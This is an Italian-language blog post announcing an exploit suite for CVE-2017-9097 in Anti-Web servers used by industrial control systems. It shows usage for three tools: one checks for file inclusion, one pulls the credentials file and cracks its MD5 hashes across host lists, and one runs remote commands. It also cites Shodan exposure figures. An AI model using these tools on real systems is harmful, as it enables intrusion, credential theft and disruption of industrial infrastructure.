
Suite di strumenti che sfruttano il CVE-2017-9097 (+RCE)
Una vulnerabilità è stata trovata nelle applicazioni web associate a ICS/OT che girano su server Anti-Web (fino alla versione 3.8.7). Le vulnerabilità che sono state identificate colpiscono diversi produttori di rinomata fama nel settore dell'automazione dei processi industriali e delle telecomunicazioni. Questi device hanno già due vecchi e simili CVE (CVE-2010-4730 & CVE-2010-4733) a cui, dopo la segnalazione, ne è seguito un terzo CVE (2017-9097) e subito il vendor ha rilasciato una patch. Immediatamente ne sono seguiti altri.
Per avere un riferimento approssimativo del grado di esposizione di questi dispositivi, ci avvaliamo degli host indicizzati su Shodan, che sono poco più di 800 device potenzialmente vulnerabili.

Per quanto riguarda l'LFI che il nostro tool cerca di sfruttare, oggi i vari vendor coinvolti hanno già le rispettive patch ufficiali che contrastano la vulnerabilità. Quindi, in un certo senso, il tentativo di sfruttare i difetti serve a verificare l'impegno degli operatori e dei responsabili di queste tecnologie, rispondendo a una domanda fondamentale: "Saranno state installate le patch corrispondenti?"
Uno dei primi strumenti cerca di sfruttare e verificare l'esistenza di un LFI. Un secondo strumento cercherà di trarre vantaggio dall'LFI, prelevando il file in cui vengono salvate le credenziali che danno accesso al pannello web. Lì gli username sono in chiaro e le password sono hashate con md5 che il tool cercherà di rompere. E infine un ultimo strumento che sfrutterà un RCE.
usr@pwn:~$ git clone https://github.com/ezelf/AntiWeb_testing-Suite
usr@pwn:~$ cd AntiWeb_testing-Suite
usr@pwn:~$ ls -l
total 16
drwxr-xr-x 4 root root 4096 sep 14 21:05 LFI
drwxr-xr-x 4 root root 4096 sep 14 21:05 RCE
-rwxrwxr-x 1 root root 1852 sep 24 08:42 README.md
drwxr-xr-x 3 root root 4096 sep 24 08:00 seekAndDestroy
Semplicemente verifica l'esistenza dell'LFI, interrogando alcuni path predefiniti e / o dando all'utente la possibilità di passare il proprio path.
Opzionalmente si può passare un cookie di sessione (valido).
usr@pwn:~$ python anti-web-v1.py --help
usage: anti-web.py [-h] [-v] --host HOST [--port PORT] [--file LFI]
[+] CVE: CVE-2017-9097
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--port PORT Set port (default = 80)
--file LFI Test LFI
-ck COOKIE Set Cookie
[+] Demo: anti-web.py --host 192.168.1.100 --port 80

Questo strumento cerca di dare un buon uso all'LFI. Per farlo punta al file "/home/config/users.cfg" in cui si trovano le credenziali che consentono l'accesso all'applicazione web.

"Seek And Destroy" fa il parsing di questo file, identifica l'hash che corrisponde alla concatenazione della password e del suo utente passati alla funzione di hash Md5. Con liste precalcolate, si andranno a scoprire cosa si nasconde dietro questi hash.

Si potrà attaccare singolarmente un solo host o una lista di questi
usr@pwn:~$ python seekAndDestroy.py --help
usage: seekAndDestroy.py [-h] [-v] [--host HOST] [--list HOST_LIST]
[--port PORT]
[+] Obtain and break the credentials of your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--list HOST_LIST hosts
--port PORT set port (default = 80)
[+] Usage: seelAndDestroy.py --list host_list.txt --port 8080
E arriviamo a quella che forse è la più interessante, la possibilità di eseguire comandi del sistema operativo dell'hardware che supporta il sistema vulnerabile. *** "Dall'Http alla Shell" ***
.

#### continuera... (domani è lunedì. xd)
usr@pwn:~$ python rce.py --help
usage: RCE.py [-h] [-v] --host HOST [--port PORT] -ck COOKIE --cmd COMMAND
[+] COMMANDS over your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST Host
--port PORT Port
-ck COOKIE Cookie
--cmd COMMAND Command
[+] Demo: python rce.py --host <host> -ck <sessionCookie> --cmd "ls -la /"
....Wait
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9097
* https://ics-cert.us-cert.gov/advisories/ICSA-17-222-05
* https://www.seebug.org/vuldb/ssvid-96555 (RCE)
* https://www.seebug.org/vuldb/ssvid-96556 (LFI)
* https://vuldb.com/es/?id.102570
* https://github.com/hoytech/antiweb/
* https://nvd.nist.gov/vuln/detail/CVE-2017-9097
* https://www.9165619.com/vulnerability/cve-2017-9097-89702
* http://old.cnnvd.org.cn/vulnerability/show/cv_id/2017051027
* http://jvndb.jvn.jp/ja/contents/2017/JVNDB-2017-005240.html
* http://plugins.openvas.org/nasl.php?oid=106886 (*down)
* http://webcache.googleusercontent.com/search?q=cache:Z1VaYjaZLB4J:plugins.openvas.org/nasl.php%3Foid%3D106886+&cd=1&hl=es-419&ct=clnk&gl=cl
''' [+] CVE-2009-4462 ( Intellicom NetBiterConfig.exe ) [+] CVE-2009-4463 ( Intellicom NetBiterConfig.exe ) (http://blog.48bits.com/exposing-hms-hicp-protocol-0day-light/)
[+] CVE-2010-4730 ( Directory traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4731 ( Absolute path traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4732 ( RCE, using a config.html 2.conf action to replace the logo page's GIF image file )
[+] CVE-2010-4733 ( default username and password to obtain superadmin access via the web interface )
Intellicom NetBiter products based on the NB100 and NB200 platforms, including:
WebSCADA (WS100)
WebSCADA (WS200)
Easy Connect (EC150)
Modbus RTU – TCP Gateway (MB100)
Serial Ethernet Server (SS100).
* https://ics-cert.us-cert.gov/advisories/ICSA-10-316-01A
'''
Gli strumenti in questione sono in (AntiWeb_testing-Suite): https://github.com/ezelf/AntiWeb_testing-Suite/
Video che combina i tre tool nella loro prima versione beta: https://www.youtube.com/watch?v=HdkZA1DO08Y